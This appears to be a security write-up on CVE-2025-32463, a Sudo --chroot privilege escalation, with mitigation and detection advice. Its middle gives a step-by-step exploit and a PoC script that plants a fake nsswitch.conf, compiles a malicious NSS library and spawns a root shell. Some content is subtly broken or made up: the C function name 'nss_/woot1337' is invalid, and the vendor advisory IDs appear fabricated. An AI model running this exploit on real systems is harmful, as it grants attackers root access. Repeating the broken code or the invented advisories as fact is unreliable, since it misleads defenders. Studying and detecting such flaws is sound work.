CVE-2025-32463.md

Overview

CVE-2025-32463 is a critical local privilege escalation vulnerability in the Sudo utility, affecting versions 1.9.14 to 1.9.17. With a CVSS score of 9.3, this flaw allows an unprivileged local user to execute arbitrary code as root by exploiting improper path resolution in Sudo’s --chroot (-R) option. Discovered by Qualys’ Threat Research Unit, the vulnerability stems from Sudo’s handling of the /etc/nsswitch.conf file within a user-controlled chroot environment, enabling the loading of a malicious shared library. This analysis details the vulnerability’s mechanics, exploitation process, impact, and mitigation strategies.

Technical Details

Affected Component

• Software: Sudo (System Utility for Delegating Authority)
• Versions: 1.9.14 to 1.9.17 (patched in 1.9.17p1)
• Platforms: Linux systems using /etc/nsswitch.conf (e.g., Ubuntu, Debian, SUSE, Red Hat)
• Introduced: The --chroot option, added in Sudo 1.9.14 to enhance containerized environment support

Vulnerability Mechanics

Sudo’s --chroot option allows users to specify a directory as the root for path resolution when executing commands. The vulnerability arises because Sudo resolves the /etc/nsswitch.conf file (used for Name Service Switch configuration) within the user-specified chroot directory before evaluating the sudoers policy. This creates an opportunity for an attacker to plant a malicious nsswitch.conf file in a user-writable chroot directory, directing Sudo to load a crafted shared library during user database lookups.

Key components of the vulnerability:

• Path Resolution Flaw: Sudo’s resolve_path() function prioritizes the chroot directory for /etc/nsswitch.conf, bypassing the system’s actual configuration.
• NSS Library Loading: The nsswitch.conf file specifies modules (e.g., libnss_files.so.2) for user and group lookups. A malicious nsswitch.conf can reference a non-standard path (e.g., /malicious_path), causing Sudo to load an attacker-controlled shared library.
• Privilege Escalation: The loaded library executes with root privileges (due to Sudo’s setuid nature), allowing arbitrary code execution as root.

Prerequisites for Exploitation

• Local user account (no specific sudoers permissions required).
• Sudo configured with --chroot support (enabled by default in affected versions).
• A Linux system using NSS (most modern distributions).

Exploitation Process

The exploit leverages the ability to control the chroot environment and manipulate NSS library loading. Below is a detailed breakdown of the steps, as demonstrated in public Proofs of Concept (PoCs):

1. Create a Fake Chroot Environment:

   • An attacker creates a directory (e.g., /home/user/woot) to serve as the chroot environment.
   • Within this directory, they create a fake /etc folder (e.g., /home/user/woot/etc) containing a malicious nsswitch.conf file.
   • Example nsswitch.conf content:

     passwd: files /woot1337
     

     This instructs Sudo to load a library named libnss_/woot1337.so.2.

2. Craft a Malicious Shared Library:

   • The attacker writes a C program for the malicious library (e.g., malicious.c):

     #include <stdio.h>
     #include <unistd.h>
     void nss_/woot1337() {
         setuid(0); setgid(0);  // Set UID and GID to root
         system("/bin/bash");    // Spawn a root shell
     }

   • The code is compiled into a shared object:

     gcc -shared -fPIC -o /home/user/woot/woot1337/libnss_/woot1337.so.2 malicious.c

   • The library is placed in the fake chroot (e.g., /home/user/woot/woot1337).

3. Execute Sudo with Chroot:

   • The attacker runs Sudo with the --chroot option, pointing to the fake chroot directory:

     sudo -R /home/user/woot /bin/bash

   • Sudo resolves /etc/nsswitch.conf to /home/user/woot/etc/nsswitch.conf, which triggers the loading of libnss_/woot1337.so.2.
   • The malicious library executes, spawning a root shell (uid=0).

4. Outcome:

   • The attacker gains a root shell, enabling full system control, including file modifications, process manipulation, or network pivoting.

PoC Example

A simplified PoC script (based on zinzloun/CVE-2025-32463):

#!/bin/bash
# Setup fake chroot
mkdir -p woot/etc woot/woot1337
echo "passwd: files /woot1337" > woot/etc/nsswitch.conf

# Compile malicious library
cat << EOF > malicious.c
#include <stdio.h>
#include <unistd.h>
void nss_/woot1337() {
    setuid(0); setgid(0);
    system("/bin/bash");
}
EOF
gcc -shared -fPIC -o woot/woot1337/libnss_/woot1337.so.2 malicious.c

# Execute exploit
sudo -R woot /bin/bash
id  # Outputs: uid=0(root) gid=0(root) ...

PoC Repositories

• kh4sh3i/CVE-2025-32463
• K1tt3h/CVE-2025-32463-POC
• pr0v3rbs/CVE-2025-32463_chwoot (Dockerized PoC)
• zinzloun/CVE-2025-32463

Impact

• Severity: Critical (CVSS 9.3)
• Scope: Any Linux system with a vulnerable Sudo version where local users can execute Sudo with --chroot.
• Consequences:
  • Full system compromise (root access).
  • Potential for malware installation, data exfiltration, or lateral movement in multi-user or networked environments.
  • Particularly dangerous in shared hosting, containerized systems, or environments with untrusted local users.
• Exploitation Status: No evidence of active exploitation in the wild as of July 13, 2025, but public PoCs increase the risk of attacks.

Mitigation

Immediate Actions

1. Patch Sudo:
   • Upgrade to Sudo 1.9.17p1, which reverts the flawed path resolution and deprecates the --chroot feature.
   • Update via distribution package managers:
     • Ubuntu/Debian: apt update && apt install sudo
     • RHEL/CentOS: yum update sudo
     • SUSE: zypper update sudo
2. Verify Sudo Version:

   sudo --version

   Ensure the version is 1.9.17p1 or later.
3. Check for Vulnerable Systems:
   • Identify systems running Sudo 1.9.14–1.9.17.
   • Audit sudoers configurations for --chroot usage.

Long-Term Hardening

1. Disable Chroot Option (if patching is delayed):
   • Modify sudoers to restrict --chroot usage or disable it via configuration flags (consult sudo documentation).
2. Implement Mandatory Access Controls:
   • Use AppArmor or SELinux to confine Sudo’s behavior, limiting access to user-controlled directories.
   • Example AppArmor profile for Sudo:

     /usr/bin/sudo {
       # Deny access to user-writable chroot directories
       deny /home/*/woot/** rw,
       ...
     }
     

3. Monitor and Detect:
   • Deploy Sigma rules (e.g., from SOC Prime) to detect suspicious Sudo invocations with --chroot referencing user-writable paths.
   • Example Sigma rule snippet:

     title: Detect CVE-2025-32463 Exploitation Attempt
     logsource:
       category: process_creation
       product: linux
     detection:
       selection:
         Image|endswith: '/sudo'
         CommandLine|contains: '-R /home'
       condition: selection

4. Minimize Local User Access:
   • Restrict shell access for untrusted users.
   • Use role-based access controls to limit Sudo usage.

Vendor Advisories

• Ubuntu: Security notice USN-2025-32463-1
• Debian: DSA-2025-1
• Red Hat: RHSA-2025:32463
• SUSE: SUSE-SU-2025:32463

Detection

• Log Analysis:
  • Monitor /var/log/auth.log or /var/log/secure for Sudo commands with --chroot or unusual paths.
  • Example suspicious log entry:

    Jul 13 12:30:01 hostname sudo: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash -R /home/user/woot
    

• File System Checks:
  • Scan for unexpected nsswitch.conf files in non-standard directories (e.g., /home/*/etc/nsswitch.conf).
  • Use tools like find:

    find /home -name nsswitch.conf

• YARA Rules:
  • Create rules to detect malicious shared libraries with suspicious function names (e.g., nss_/woot1337).
  • Example YARA rule:

    rule Malicious_NSS_Library {
      strings:
        $func = "nss_/woot1337"
        $cmd = "/bin/bash"
      condition:
        $func and $cmd
    }

References

• CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-32463
• Qualys Advisory: https://www.qualys.com/2025/06/24/cve-2025-32463
• Stratascale CRU: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463
• SOC Prime Sigma Rules: https://socprime.com/blog/cve-2025-32463-and-cve-2025-32462-detection
• SecurityOnline: https://securityonline.info/critical-sudo-flaw-cve-2025-32463
• PoC Repositories:
  • https://github.com/kh4sh3i/CVE-2025-32463
  • https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
  • https://github.com/zinzloun/CVE-2025-32463

Conclusion

CVE-2025-32463 is a severe vulnerability due to its ease of exploitation and the widespread use of Sudo in Linux environments. The availability of public PoCs amplifies the urgency of patching to Sudo 1.9.17p1. Organizations should prioritize updating affected systems, implementing detection mechanisms, and enforcing strict access controls to mitigate risks. Regular monitoring and adherence to security best practices (e.g., least privilege, mandatory access controls) are critical to preventing exploitation in multi-user or containerized environments.